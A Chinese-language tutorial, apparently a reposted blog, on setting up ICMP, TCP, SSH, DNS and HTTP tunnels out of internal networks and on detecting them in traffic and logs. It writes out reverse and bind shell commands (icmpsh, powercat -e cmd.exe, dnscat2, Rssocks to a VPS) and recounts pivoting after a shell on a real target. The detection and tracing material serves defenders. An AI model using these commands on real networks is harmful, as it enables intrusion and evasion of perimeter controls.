内网穿透从搭建到溯源(内网隧道搭建、绕过、隧道流量分析、日志分析、隧道防护)
背景
在攻防博弈這個永久的話題中,永遠不會缺少一個重要角色即內網穿透。當滲透測試人員在進入內網,需要擴大戰果的時候,往往會遇到內網的一些防護策略,不外乎邊界設備、防火墻及入侵檢測設備對端口或者數據包的攔截,導致流量無法出網,此時就需要熟練掌握內網穿透技術,從復雜的內網環境中獲取穩定的流量交互,從而達到目的。
本文針對邊界安全設備等對內網端口的屏蔽及數據包的攔截,從不同的網絡協議層進行搭建隧道進行繞過,并對不同類型的隧道流量或者日志進行分析,幫助攻擊或防守人員從溯源的維度更好的掌握內網穿透技術。
?
內網穿透及溯源
網絡層隧道搭建
從網絡層開始,主要的隧道技術有IPV6隧道、ICMP隧道、GRE隧道,其中常用的隧道技術是ICMP隧道技術。
icmp隧道搭建
icmp隧道搭建的場景主要用于在攔截策略關閉了端口,而ICMP協議用于檢測網絡連通狀態,不依賴于端口開放,而防火墻通常會開放此協議。通常用于搭建icmp隧道的工具有icmpsh、PingTunnel、powershell icmp等,本次測試使用icmpsh。
-
搭建工具(https://github.com/inquisb/icmpsh)
首先在目標主機進行Ping測試:
ping 192.168.43.136接下來在attack主機執行監聽:
在victim主機執行shell反彈命令,該命令在server端有返回:
icmpsh.exe -t 192.168.43.136 -d 500 -b 30 -s 128反彈成功:
此處已經搭建成功
icmp隧道分析
首先查看普通ping數據包:
再看下執行了命令netstat -ano產生的數據包:
通過對比,我們發現普通的ping請求存在4個帶有32字節數據的數據包,并且數據內容為abcdefghigklmnopqrstuvwabcdefghi;而相對的使用ICMP隧道搭建的shell通道執行了命令的流量顯示在短時間內有大量的icmp請求和回復流量,每個數據包的data含有高達128字節的數據,這個data數據可以通過命令進行修改,同時可以看到數據中含有大量的命令執行的內容返回,因此該隧道的溯源可以從以下方面進行:
-
單位時間內的icmp數據包數量
-
數據包大小
-
數據包內容
?
傳輸層隧道搭建
傳輸層主要有TCP、UDP協議,因此隧道搭建也是基于這兩種協議進行的。常用的隧道搭建工具有netcat、powercat等,本文通過powercat和nc進行測試
工具下載:powercat(https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1)
powercat隧道搭建
victim(192.168.43.109):
Import-Module .\powercat.ps1 powercat -l -p 8888 -e cmd.exe -vattack(192.168.43.136):
nc 192.168.43.109 8888 -vv在victim端看到與遠程連接建立成功:
在attack端可以成功執行命令:
powercat隧道分析
通過查看powercat搭建的隧道進行執行命令獲取的數據包,可以看到獲取到很多的TCP數據包,同時可以看到短時間內發出大量的ack回應數據包,并且夾雜很多psh數據包,表明該數據包是包括數據內容,我們通過查看數據包的data數據可以看到內容中包含我們執行的命令及響應內容。通過wireshark的數據包進行分析,我們可以通過對數據包的內容進行安全檢測進行防御。
?
應用層隧道搭建
應用層位于TCP/IP協議的最頂層,通常用于搭建各種應用服務,而基于應用層搭建的隧道技術就是利用各種應用所占用的端口進行搭建,比如有SSH、HTTP/HTTPS和DNS服務,這些服務是服務器經常用到不會被禁止的協議。
ssh隧道搭建
SSH是英文Secure Shell的簡寫形式,SSH 為建立在應用層基礎上的安全協議。SSH 是較可靠,專為遠程登陸會話和其他網絡服務提供安全性的協議。ftp、pop和telnet在本質上都是不安全的,因為它們在網絡上用明文傳送口令和數據,別有用心的人非常容易就可以截獲這些口令和數據。而且,這些服務程序的安全認證方式也是有其弱點的, 就是很容易受到“中間人”攻擊,SSH目前包括 SSH1和SSH2兩個版本,是目前最常用的安全通訊協議。通常情況下,ssh協議是允許通過防火墻和邊界設備。
ssh隧道通常用于端口轉發,常用的端口轉發有本地轉發、遠程轉發和動態轉發,其利用場景也不同,以下將分別介紹:
本地轉發
本地轉發一般用于外網通過dmz資源訪問內部無外網ip的資源,此時dmz資源通常有外網ip且可訪問外網,以下內部無外網ip資源簡稱inner。
dmz-host(192.168.43.179)
inner-host(192.168.43.168)
attack-host(192.168.43.136)配置如下:
ssh -CfNg -L 1234:192.168.43.168:22 sobug@192.168.43.179此時通過attack進行訪問本地1234即可連接inner主機22端口的ssh服務,此時重點注意sir為inner的登錄名,語句如下:
ssh -p 1234 sir@192.168.43.136遠程轉發
遠程轉發一般用于外網通過dmz資源訪問內部無外網ip的資源,同時此時dmz資源也沒有外部ip,以下內部無外網資源簡稱inner:
inner-host(192.168.43.168)
attack-host(192.168.43.136)
dmz-host(192.168.43.179)配置如下:
ssh -CfNg -R 2345:192.168.43.168:22 root@192.168.43.136通過在attack主機執行,可以成功連接inner主機的ssh服務
ssh -p 1122 sir@127.0.0.1動態轉發
動態轉發一般在外網attack主機上通過dmz主機搭建一個外部的socks4/5代理,然后通過代理軟件添加需要代理的程序即可對內網中的資源進行訪問。
inner-host(192.168.43.168)
dmz-host(192.168.43.179)
attack-host(192.168.43.136)配置代理如下:
ssh -CfNg -D 8888 sobug@192.168.43.179ssh隧道分析
由于SSH 為建立在應用層基礎上的安全協議,在數據傳輸中的流量都被加密,因此我們在wireshark中抓到的包看不出異常點,此時我們可以通過端口連接進行判斷,以遠程轉發ssh隧道為例,我們查詢端口連接情況,發現本機與外網主機192.168.43.136的22端口有建立連接信息
然后當外網連接內部主機后,同一PID3104分別與外網和內網建立了連接,我們通過這種方法基本可以確定本主機被搭建了ssh隧道進行內網流量轉發操作。
dns隧道搭建
-
vps部署域名解析
首先對vps建立A記錄 創建NS記錄,獲取子域名的解析地址為A記錄的域名
對NS記錄mail子域進行解析指向ns1*.club的A記錄
測試部署:
測試外部對mail子域的dns請求,然后查看vps是否處理該請求
客戶端發送dns請求數據包:
vps對請求數據的處理
tcpdump -n -i eth0 udp dst port 53- 安裝dnscat2服務端
server端:
需要ruby環境
安裝gem、ruby、dnscat2服務端
yum install gem rm /usr/bin/ruby wget https://cache.ruby-lang.org/pub/ruby/2.5/ruby-2.5.0.tar.gz tar -zxvf ruby-2.5.0.tar.gz cd ruby-2.5.0 mkdir -p /usr/local/ruby ./configure --prefix=/usr/local/ruby make && make install ln -s /usr/local/ruby/bin/ruby /usr/bin/rubygit clone https://github.com/iagox86/dnscat2.git cd /server gem install bunlder ln /usr/local/ruby/bin/bunlder /usr/bin/bunlder bunlder install啟動服務端:
ruby dnscat2.rb mail.****.club -e open -c password --no-cache客戶端下載地址:https://downloads.skullsecurity.org/dnscat2/
powershell客戶端:https://codeload.github.com/lukebaggett/dnscat2-powershell/zip/master
測試通信
./ruby --ping mail.target.com連接服務端
./dnscat --secret=password mail.target.com以下顯示連接成功
server端
sessions顯示已經有客戶端會話
session -i session_id進入會話,執行shell交互命令行
通過監聽53端口的流量包發現大量的dns請求數據
tcpdump -n -i eth0 udp dst port 53dns隧道分析
通過流量監測,我們可輕易判斷出存在大量的DNS協議的數據包,同時該數據包與普通的dns請求完全不同,首先是請求的dns域名前存在一段加密的字符串,其次dns記錄分布于TXT記錄、MX記錄和CNAME記錄
從以下服務端的tcpdump監測的日志也可明顯看出與普通dns請求的區別
因此我們可以從以下幾方面進行防御:
-
設置受信任的DNS服務器進行通信
-
阻止傳入和傳出的TXT請求
-
對頻繁進行DNS請求的設備進行禁用并發出警告
http隧道搭建
HTTP協議是互聯網上常用的通信協議之一。它有很多的應用,但最流行的就是用于Web瀏覽器和Web服務器之間的通信,即Web應用。通過HTTP服務搭建代理,通常用于將外部流量轉入內網中,常用的工具有reGeorg、tunna等。以下通過reGeorg進行測試。
dmz:192.168.157.148/192.168.247.130
attack:192.168.157.147
victim:192.168.247.152
reGeorg可以支持PHP、ASPX、JSP等腳本語言,我們需要將腳本上傳至目標服務器中,
我們通過上傳tunnel文件到dmz服務器上:
然后搭建基于該文件搭建socks5隧道:
說明隧道搭建成功,此時進行配置proxifier
搭建到本地代理的8888端口
并配置mstsc流量從該代理發出:
接下來我們看到可以成功連接victim主機
http隧道分析
首先通過查看抓取的數據流量,我們發現存在http請求,并且請求中包括有cmd、target和port三個參數
然后查看該數據包,在數據包中看到請求的源IP端口及目的IP端口,顯然請求參數中IP端口和該數據包的IP端口是不一樣的
我們通過監聽第二個網卡(192.168.247.130),發現可以看到存在對遠程服務器的3389端口鏈接數據請求,并看到請求的目的端口的服務名ms-wbt-server.
通過以上分析,我們可以針對http協議的數據包進行查看,并結合數據包中的ip參數進行溯源,同時針對該ip進行檢索數據包查看本機ip對該ip的操作內容進行多層次的溯源,同時我們需要結合本機的windows日志進行配合溯源。
?
案例
在某次項目中,通過靈機一動的思路getshell后,由于在菜刀下的操作比較局限,因此思考可以將流量轉出來,在多次嘗試后,成功使用Rssocks搭建了ssocks隧道,下面簡單說一下當時的情況:
Rssocks下載地址:http://sourceforge.net/projects/ssocks/
由于目標系統為linux系統,因此需要在ssocks中編譯安裝ssocks
./configure && make && make install首先在外網的vps上通過執行如下命令
Rcsocks -l 5001 -p 8009 -vv然后在目標主機執行
Rssocks -vv -s vpsip:1080接下來通過proxifier鏈接socks代理:vpsip:1088
掃描的內網某ip端口
此外需要用到kali里的工具proxychains, 修改proxychains配置文件
去掉dynamic_chain注釋,在最后一行加入代理,測試內網聯通性:
此時對內網的流量操控還是很順手的,看到有10.x.x.16有開放80端口服務
瀏覽器訪問探測出的web服務10.x.x.16
?
總結
內網穿透的工具和技巧有很多,本次基于各層協議介紹了具有代表性的搭建隧道方法,不過原理大都相似,重點在于項目中遇到各種復雜的環境時,能快速判斷到可用的隧道類型,并能克服環境中的坑位;同時希望本文能幫助項目中的防守人員從溯源維度更好的掌握內網穿透技術。
總結
以上是生活随笔為你收集整理的内网穿透从搭建到溯源(内网隧道搭建、绕过、隧道流量分析、日志分析、隧道防护)的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Python 字符串转字典(多种方法)
- 下一篇: 如何设置使eclipse修改代码不重启t